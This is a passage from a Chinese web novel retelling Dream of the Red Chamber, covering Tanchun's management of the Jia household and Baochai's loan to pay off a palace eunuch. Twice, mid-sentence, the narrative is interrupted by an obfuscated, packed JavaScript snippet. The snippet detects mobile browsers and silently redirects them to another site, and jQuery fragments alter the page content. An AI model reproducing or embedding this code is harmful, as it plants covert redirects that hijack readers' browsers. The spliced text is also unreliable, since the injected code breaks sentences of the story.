然而，她也并非全无收获。至少，她证明了自已的价值和在危机中的镇定。而且，经过此事，她动用那笔“黑钱”为自己谋划退路，似乎也多了一层掩护——连自己的“体己”都肯拿出来救急，谁还会怀疑她暗中转移财产呢？ 福兮祸所伏，祸兮福所倚。苏璃的眼中，闪过一丝冰冷而坚定的光芒。游戏，才刚刚进入最危险的阶段，而她，已经没有退路了。 51. 探春理家 凤姐这一病，如山倒。连日来的焦灼、惊怒、操劳，被银号逼债这事一激，彻底掏空了她强撑的精神气。高热退去后，便是长久的昏沉虚弱，每日里醒少睡多，即便清醒时，也说不了几句话，只倚在枕上，眼神空茫地望着帐顶繁复的绣样，不知在想些什么。 荣国府的天，仿佛一夜之间塌了一半。外头债主虽暂时被打发，但“贾府连几百两银子都支应不出”的消息，如同长了脚的瘟疫，悄无声息地传遍了京城权贵圈。往日门庭若市的宁荣街，骤然冷清了不少。来探望的亲友，言语间也多了几分试探与疏离。 府内更是人心惶惶。主子们各怀心思，下人们更是没了主心骨，偷懒耍滑、窃窃私语者甚众，偌大的府邸，竟透出一股“树倒猢狲散”的颓败气息。 王夫人急得嘴角起泡，日夜在贾母榻前侍疾，还要强打精神应付外面官中的琐事，几日下来，竟也憔悴了许多。贾琏更是如同没头苍蝇，外面债务缠身，里面凤姐病倒，他竟是一点主意也无，只知唉声叹气，或是在外头躲清静。 正当这内忧外患、无人主事之际，一向沉默安静的三姑娘探春，却站了出来。 这日晨省，王夫人正对着满桌子待处理的帖子、账本发愁，探春领着侍书，端着一盏参茶，悄步进来。她今日穿了一件半新的藕荷色绫缎袄，青缎掐牙背心，神色沉静，目光却清亮有神。 “给太太请安。”探春行礼后，将茶轻轻放在王夫人手边，目光扫过那堆杂乱文书，缓声道：“太太连日辛苦，凤姐姐又病着。媳妇瞧着，外头这些官中往来帖子，还有府里一些不急之务，若是太太信得过，媳妇或可暂且帮着料理几分，也好让太太专心伺候老太太，保养身子。” 王夫人闻言，抬起疲惫的眼，仔细打量了这个庶出的女儿几眼。探春素日稳重，言语爽利，心中颇有丘壑，她是知道的。只是管家理事，非同小可，尤其在这风雨飘摇之时……她沉吟着，未曾立刻答应。 恰巧宝玉、黛玉、宝钗并李纨等人也来请安。听闻探春之言，宝玉先就拍手道：“三妹妹最有主意！定能帮太太分忧！”黛玉亦轻声道：“探丫头心思缜密，处事公道，或可一试。”宝钗则微笑道：“姨母近日确是劳乏过了，有三妹妹帮着掌个总，定个章程，下头的人也好循例行事，免得生乱。”李纨也点头称是。 见众人都如此说，王夫人心中稍定，又见探春目光坚定，并非一时冲动，便叹了口气道：“难为你有这个心。既如此，一些寻常的官客往来回帖，还有府中日常用度支取、各房月例发放这些琐事，你就暂且替我看着些。若有拿不定主意的，务必来回我，万不可擅自专主。”说着，便让玉钏儿将对牌取来，交予探春。 探春双手接过那沉甸甸的对牌，神色凝重，并无半分喜色，只肃然道：“太太放心，媳妇必当恪尽职守，凡事循旧例，多请示，断不敢行差踏错。” 探春理家的消息，如同在死水潭中投下一块石子，激起的涟漪却比预想中更大。下人们起初大多存了轻视之心，想着一个未出阁的小姐，又是庶出，能有什么手段？不过是一时无人，暂代几日罢了，只怕比凤姐奶奶在时更易糊弄。 然而，探春上任第一日，便显出了与凤姐截然不同的风格。 她不似凤姐那般雷厉风行、锋芒毕露，而是沉静如水，条理分明。第一件事，便是将平儿、林之孝家的等有头脸的管事媳妇唤至议事厅，并不急于发号施令，而是先让各房各处将手头积压待办的事项、近日的用度开销，一一禀明，由侍书记录在案。 她听得极仔细，遇到不明之处，便细细追问，却不轻易表态。待众人回禀完毕，她方缓缓开口，声音不高，却清晰入耳：“凤姐姐病着，太太要伺候老太太，如今府里事杂，更需上下齐心，循规蹈矩。以往旧例，一切照旧。只是有几句话，需说在前头。” 她目光平静地扫过众人：“一则，各房各院份例用度，皆按旧例，不得虚报冒领。额外开支，需事先列明缘由、数目，呈报核准，方可支取。二则，一应物品采买，需由两人以上经手，价格务公，质量务实，事后需有单据凭证。三则，仆役人等，各司其职，不得懈怠推诿，亦不得无故欺凌幼弱。有功则赏，有过则罚，概不徇私。” 她语气平和，却自有一股不容置疑的威严：“我年轻识浅，若有不到之处，诸位妈妈、嫂子都是府里的老人，还望多多提点。但若有人以为可趁此机，浑水摸鱼，懈怠公事，或是倚老卖老，欺上瞒下，我虽是个姑娘家，却也认得府里的规矩，认得这对牌！” 一番话，不卑不亢，恩威并施，既申明了规矩，也堵住了悠悠之口。平儿在一旁听着，心中暗暗称奇，这三姑娘，竟有几分杀伐决断的气度，与二奶奶的“辣”不同，是一种“清”而“锐”的力道。 探春理家，苏璃自然是密切关注。她如今虽仍是凤姐院里的丫鬟，但因凤姐病倒，许多账目上的事，平儿忙不过来，便常来与她商议。探春亦知苏璃是凤姐得力之人，且精通账务，故有些银钱往来、账目核查之事，也偶尔会唤她过去问话。 这日，探春查看近几个月府中花园、车轿、器物修缮等项开支，发现几处漏洞，便召来相关管事媳妇询问。那媳妇见探春年轻，便想含糊搪塞，只说“历来如此”、“市价上涨”等语。 探春也不动怒，只命侍书取来往年同期账册，细细比对，又唤来苏璃，问及近日市面工料行情。苏璃早已将各项数据熟记于心，当下条分缕析，将实际物价与账目所报一一对照，指出其中虚报、浮夸之处，数据确凿，字字清晰。 那管事媳妇被问得哑口无言，汗流浃背。探春这才沉下脸，道：“我虽年轻，却也不是好糊弄的！府中艰难，更需节流。你等竟敢如此欺瞒，中饱私囊！今日初犯，且革去三个月月钱，以观后效。若再有不实，定不轻饶！”处理得干净利落，令人心服。 事后，探春独留苏璃，叹道：“往日只听凤姐姐夸你精明，今日一见，果然名不虚传。府中账目纷乱，漏洞百出，若非你这般心细如发，不知还要被瞒骗多久。” 苏璃忙垂首道：“三姑娘谬赞了。奴婢只是尽本分。姑娘明察秋毫，持公秉正，才是府中之福。” 探春看着她，目光中带着欣赏与思索，忽然问道：“以你之见，如今府中最大的弊病在何处？开源节流，当从何入手？” 苏璃心中一动，知探春是真心求问，而非试探。她沉吟片刻，谨慎答道：“回姑娘的话，奴婢愚见。府中弊病，一在人口繁多，用度奢靡，入不敷出；二在管理松懈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015764|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，下人贪墨，漏洞难堵；三在……进项单一，全仗祖产田庄，如今世道艰难，旧例难继。” 她顿了顿，见探春听得认真，便继续道：“节流易，开源难。眼下当务之急，自是严查账目，裁汰冗费，堵住漏洞。但长远计……或可效法一些仕宦人家，将府中些闲置院落、或是城外那些产出不丰的田庄，或租赁，或与人合伙，经营些稳妥的营生，如酱菜园、织布坊等，虽利薄，却是个长久的进益。再者，各房姑娘小姐们闲时所做的针线、字画，若精致，或可托可靠人带去那清雅的文具铺、绣庄寄卖，所得虽不多，也是个体己，更免了东西白放着霉坏。只是……此事需做得隐秘，万万不能失了体面。” 这番话，既有对现状的分析，又有具体可行的建议，尤其是最后一点，考虑到了闺阁体面，又顾及了实际收益，可谓思虑周详。 探春眼中异彩连连，握住苏璃的手道：“好！说得通透！真真是与我所见略同！只是这‘开源’一事，牵涉甚广，需得从长计议，眼下还需先把这‘节流’的文章做足。”她似是将苏璃引为了知己，低声道：“我知你与凤姐姐辛苦维持不易，如今我既暂代此事，必当竭尽全力，能省一分是一分，能堵一漏是一漏。还望你多多助我。” 苏璃感受到她手心的温热与坚定，心中亦是一阵感慨。这探春，确有治世之才，可惜生为女儿身，又逢家族末世……她恭声应道：“姑娘但有所命，奴婢定当竭尽全力。” 自此，探春理家，愈发有了章法。她与李纨、宝钗商议，又得平儿、苏璃从旁协助，将府中事务打理得井井有条。她改革了以往许多陋规，裁减了不必要的开支，对下恩威并施，处事公道，不过月余，府中风气竟为之一新，那些原本心存轻视、意图怠惰的下人，也都收敛了许多，不敢再轻易欺瞒。 连王夫人也暗自惊讶，对薛姨妈道：“真真看不出，三丫头竟有这等才干！比凤丫头在时，还更显清净省力些。”贾母病中听闻，也略感欣慰，只叹道：“可惜是个女孩儿，若是个男儿，只怕更能支撑门户。” 然而，在这看似平静的局面下，暗流依旧汹涌。探春的改革，触动了不少旧有势力的利益。赵姨娘因探春裁减了她屋里一些过分的用度，心中不忿，时常抱怨。邢夫人那边也觉探春事事回明王夫人，不将她放在眼里，颇有微词。而府外虎视眈眈的债主，也并未真正离去，只是在等待下一个时机。 这日傍晚，苏璃从探春处回凤姐院子，路过园中，只见暮色四合，寒鸦归巢，一片萧索景象。她心中清楚，探春之才，如同昙花一现，终究难以挽回这倾颓的大势。眼前的清净，不过是暴风雨来临前短暂的间歇。 她抬头望向凤姐房中那盏昏黄的灯光，心中忧虑更甚。凤姐的病，不仅是身病，更是心病，是贾府这艘破船即将沉没的预兆。而自己，这个凭借算计和能力勉强攀附在船桅上的人，又能在这最后的漩涡中，找到怎样的生机？ 夜色渐浓，寒意侵骨。苏璃裹紧了衣衫，快步走向那点微光。 她知道，探春理家，只是这场漫长悲剧中的一段插曲。真正的惊涛骇浪，还在后头。而此刻，她必须抓紧这短暂的平静，为自己，也为那个在病中交付了她最后信任的琏二奶奶，谋划一条或许能通往岸边的路。 52. 宝钗小惠 探春理家，雷厉风行，清正廉明，不过月余，府中那些积年的弊病被她剔除了不少，浮费裁减，人情整顿，竟显出几分中兴气象来。 下人们虽觉约束紧了，但见三姑娘处事公允，赏罚分明，有功即赏，有过必罚，不似凤姐那般喜怒无常、常有偏私，倒也渐渐心服，办事不敢如前怠惰。 然而，这“中兴”之象，终究是建立在沙丘之上的楼阁。探春所裁减的，多是些面子上的浮费、各房过分的用度，于贾府这庞大躯壳内里早已蛀空的根本，并无太大补益。府外债台高筑，田庄铺面收益日薄，这些沉疴宿疾，绝非一个未出阁的小姐凭一己之力能够扭转。更遑论，她的改革，不知不觉间，已触动了太多人的利益。 赵姨娘首当其冲。探春为示公正，对自己生母屋里也一视同仁，裁减了好些额外份例和虚报的开销。赵姨娘又羞又恼，自觉脸上无光，虽不敢明着与探春闹，却常在其他姨娘、婆子跟前抱怨：“如今可好了，亲生的闺女当了家，倒先拿自己娘开刀！真真是胳膊肘往外拐！”这些话传开来，不免惹人议论，也让探春处境有些尴尬。 邢夫人那边，因探春事事回明王夫人决断，显见得更敬重嫡母，对自己这大伯母不过是面子情，心中也存了芥蒂，冷眼旁观，偶尔在贾赦跟前吹吹风，说些“三丫头毕竟年轻，只怕被人拿捏”之类的话。 底下那些被断了财路的管事媳妇、婆子们，更是怨声载道，只是碍于探春威严，不敢明着对抗，暗地里却少不了使绊子、传闲话。一时间，府中表面上风平浪静，底下却暗流涌动。 这一日，探春正与李纨、宝钗在议事厅内核算近日各房用度，忽见平儿面色凝重地进来，回禀道：“三姑娘，大奶奶，宝姑娘，方才门上传来话，说是宫里夏太监打发小内监来，说夏爷爷近日要修缮城外的一处庄子，手头短了些使费，想跟府上‘暂借’一千两银子，周转一二。” “一千两？”探春眉头立刻蹙起。李纨也变了脸色。宝钗沉吟不语。 这夏太监是宫里有头脸的老人儿，时常在各勋贵之家“走动”，名为借贷，实则是变相的索要，且这钱是有借无还的。往日凤姐在时，虽也头疼，但为维持关系，多少都要应付一些。如今府中艰难，一千两可不是小数目。 探春沉声道：“可知是夏爷爷亲自开口，还是底下人借名？” 平儿道：“来的是夏爷爷跟前得用的小内监，话里话外，确是夏爷爷的意思。还说……如今宫里开销大，各位主子娘娘跟前都紧巴巴的，夏爷爷也是没法子。” 这话已是带了几分威胁了。宫中用度缩减，太监们便更需从宫外找补。贾府如今风雨飘摇，正是他们眼中的“肥羊”。 李纨叹道：“这些公公，最是得罪不起。若不借，只怕他们在宫里给娘娘气受；若借，这银子……” 宝钗温声道：“三妹妹，这事需得慎重。夏太监既然开了口，恐怕推脱不得。只是如今府里艰难，一千两确实为难。或可斟酌着，减一些送去，再备些时新尺头、精巧玩意，只说府里近日事多，银钱不凑手，聊表心意，望夏爷爷体谅。” 探春思忖片刻，摇头道：“宝姐姐主意虽好，只怕那些公公胃口大，减了数目，反嫌我们小气，更生嫌隙。况且，有一就有二，开了这个头，日后更难应付。” 她转向平儿：“库里如今能动的银子还有多少？” 平儿面露难色，看了一眼旁边的苏璃。苏璃心中了然，上前一步，低声道：“回三姑娘，账上能立刻支取的现银，不足五百两。前几日打发‘恒舒典’的利钱，还是……还是璃姑娘垫了些体己才凑够的。”她未提苏璃那金子，只含糊带过。 探春闻言，脸色更沉。连五百两都凑不齐，如何应付夏太监的一千两？难道又要典当？可府里能当的值钱物件，还能剩下多少？ 宝钗见探春为难，李纨无措，平儿焦急，苏璃垂首不语，心知府中已是捉襟见肘到了极点。她沉吟良久，忽然开口道：“三妹妹，我倒有个拙见，或可解此燃眉之急，又不至太过损伤府中元气。” 探春忙道：“宝姐姐快请讲。” 宝钗缓缓道：“这银子，恐怕不得不借，但数目或可商议。不如这般，我们备上六百两现银，再将我哥哥前日从南边带来的一套赤金点翠头面、两匹上用宫缎，并一些御田胭脂米、茯苓霜等稀罕吃食，凑成一份厚礼，由链二哥哥亲自送去。就说府中近日连遭事故，实在周转不开，这六百两是倾尽所有，余者以物相抵，望夏爷爷笑纳，且宽限些时日。哥哥在外行走，与夏太监门下也有些交情，可让哥哥从中转圜几句。夏太监见礼数周全，又有薛家面子在其中，或许不会太过为难。” 她顿了顿，又道：“至于这六百两银子……我那里还有些梯己，原是母亲给我备着日后用的，如今府中有急，先拿来应应急，日后宽裕了再还我便是。” 此言一出，满座皆惊。探春又是感动，又是惭愧，握住宝钗的手道：“宝姐姐，这如何使得！你的梯己，我们怎好用？” 李纨也道：“正是，断没有用你私房钱的道理。” 宝钗微微一笑，神色坦荡：“三妹妹、大嫂子说哪里话。我们亲戚家，原该同舟共济。况且，这也不单是为府里，娘娘在宫中，也需要这些太监们照应。不过是暂借一时，算不得什么。” 她语气温和，态度却坚决。探春知她性情，既已开口，便是深思熟虑过的，再推辞反倒见外。且眼下除了此法，也实在别无良策。她与李纨对视一眼，皆看到对方眼中的无奈与感激。 “既如此……就依宝姐姐。”探春终究是爽利人，不再矫情，“只是这银子，算府里借的，日后必定归还。平儿，你去我屋里，将我那对翡翠镯子，还有前年生日得的那副金镶玉头面取来，一并添在礼单上。” 李纨也道：“我那里还有些不错的尺头，也拿来添上。” 宝钗忙道：“三妹妹、大嫂子不必如此，我那些尽够了……” “宝姐姐不必推辞，”探春打断她，“这是府里的事，没道理让你一人承担。我们能凑一些，便是一些。” 事情就此议定。宝钗当即命莺儿回去取银票，探春、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019237|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李纨也各自回去收拾东西。平儿和苏璃忙着登记造册，准备礼单。 苏璃在一旁默默看着，心中对宝钗的观感，又复杂了几分。这位宝姑娘，平日里端庄稳重，罕言寡语，没想到关键时刻，竟有如此魄力和担当。六百两银子，加上那些价值不菲的首饰衣料，对她一个客居的亲戚来说，绝非小数。她此举，固然有维护薛家与贾府关系、间接帮助宫中元春的考量，但这份“小惠”，实实在在解了贾府的燃眉之急，也赢得了探春、李纨乃至王夫人更深的感激与信任。 只是，苏璃心中亦有一丝隐忧。宝钗如此慷慨，固然是雪中送炭，但也将贾府财政窘迫的现状，更清晰地暴露在了薛家面前。薛姨妈与王夫人是亲姊妹，或许无妨，但那位精于算计的薛蟠薛大爷呢？他会如何看待贾府如今的虚弱？日后薛贾两家的关系，又会因此产生何种微妙的变化？ 礼单备齐，贾琏虽不情愿，也只得硬着头皮，带着厚礼和宝钗的银票，前往夏太监处周旋。所幸薛蟠果然从中说了些好话，夏太监见礼单丰厚，贾琏态度恭敬，薛家又出面，倒也未再强求那一千两，收了六百两并礼物，算是给了面子。 此事暂且揭过，但府中上下，经此一遭，更是人人自危，清晰无比地认识到，贾府这座昔日辉煌的国公府，如今竟已到了需要靠亲戚接济、典当礼物来应付太监敲诈的地步了！一种末日将近的恐慌与凄凉，无声地弥漫开来。 宝钗的“小惠”，如同冬日里的一盆炭火，短暂地温暖了即将冻僵的人，却也照见了四周更加深重的寒冷与破败。探春理家带来的些许振奋，被这盆冷水浇得透心凉。她虽强打精神，继续处理庶务，但眉宇间的忧色，却一日重过一日。 苏璃冷眼旁观，心中那逃离的计划，越发紧迫。宝钗可以拿出体己救急，但她苏璃没有。她能依靠的，只有自己的谋划，和那个神秘莫测的北静王四爷，水澈。 这日晚间，她回到自己小屋，闩上门，就着昏黄的灯光，再次翻开那本记录着暖香坞秘密的花样子册子。那些地契、借据、隐秘账目，是她手中唯一的筹码。她必须尽快行动，在贾府这艘船彻底沉没之前，拿到足够傍身的资本，并通过“粤海记”的渠道，为自己谋一条生路。 窗外，夜风呼啸，仿佛预示着更加凛冽的寒冬即将到来。而苏璃的目光，落在册子某一页用特殊符号标记的一处田庄信息上，久久未动。那处田庄，位置偏僻，产出不高，在贾府众多产业中毫不显眼。或许，它可以成为一个起点。 就在她凝神思索之际，忽听窗外传来极轻的“叩叩”两声，仿佛石子敲击窗棂。 苏璃心中一跳，迅速吹灭灯火，贴近窗边，压低声音问：“谁？” 窗外，一个刻意压低的、有些耳熟的声音响起：“璃姑娘，是我，林之孝。有要紧事，关于……关于东府珍大爷那边查账的事，需得立刻禀报二奶奶，可二奶奶睡了……平姑娘让我悄悄来问姑娘拿个主意。” 林之孝？查账？东府？苏璃的心猛地一沉。难道，贾珍那边的祸事，已经牵连到账目，烧到西府这边来了？